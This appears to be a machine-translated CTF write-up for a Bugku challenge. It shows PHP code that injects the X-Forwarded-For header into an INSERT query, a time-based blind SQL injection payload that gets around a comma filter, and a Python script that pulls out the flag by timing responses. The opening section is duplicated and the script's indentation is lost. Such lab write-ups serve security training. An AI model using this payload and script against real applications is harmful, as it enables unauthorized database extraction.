bugku insert into注入
4600 ワード
テーマソース:
flag形式:flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
error_reporting(0);
function getIp(){ $ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{ $ip = $_SERVER['REMOTE_ADDR'];} $ip_arr = explode(',', $ip); return $ip_arr[0];
}
$host="localhost";$user="";$pass="";$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();echo 'your ip is :'.$ip;$sql="insert into client_ip (ip) values ('$ip')";mysql_query($sql);
XFFはInsertのみ出力していないので遅延注入、カンマフィルタを使用してIfを使用できないので使用:
POCURL=
({0}{1}寸法点はループ点であり、format()関数を使用して置き換えられます.)
参照先:https://blog.csdn.net/xuchen16/article/details/82904488
flag形式:flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
error_reporting(0);
function getIp(){ $ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{ $ip = $_SERVER['REMOTE_ADDR'];} $ip_arr = explode(',', $ip); return $ip_arr[0];
}
$host="localhost";$user="";$pass="";$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();echo 'your ip is :'.$ip;$sql="insert into client_ip (ip) values ('$ip')";mysql_query($sql);
XFFはInsertのみ出力していないので遅延注入、カンマフィルタを使用してIfを使用できないので使用:
select case when xxx then xxx else xxx end;
POCURL=
"127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))#"
({0}{1}寸法点はループ点であり、format()関数を使用して置き換えられます.)
import requests
import sys
#python3.6
url='http://123.206.87.240:8002/web15/'
sql="127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))#"
flag=''
#strtest="TEST{0}+{1}"
for i in range(1,40):
for ch in range (32,129):
if ch ==128:
sys.exit(0)
xff=sql.format(i,chr(ch))
#print(xff)
headers={
'X-Forwarded-For':xff
}
print(' '+str(i)+' ,'+' '+str(ch)+' ')
try:
re = requests.get(url,headers=headers,timeout=3)
except:
flag += chr(ch)
print('flag:'+flag)
break
# :flag , 。
# : , , 。
参照先:https://blog.csdn.net/xuchen16/article/details/82904488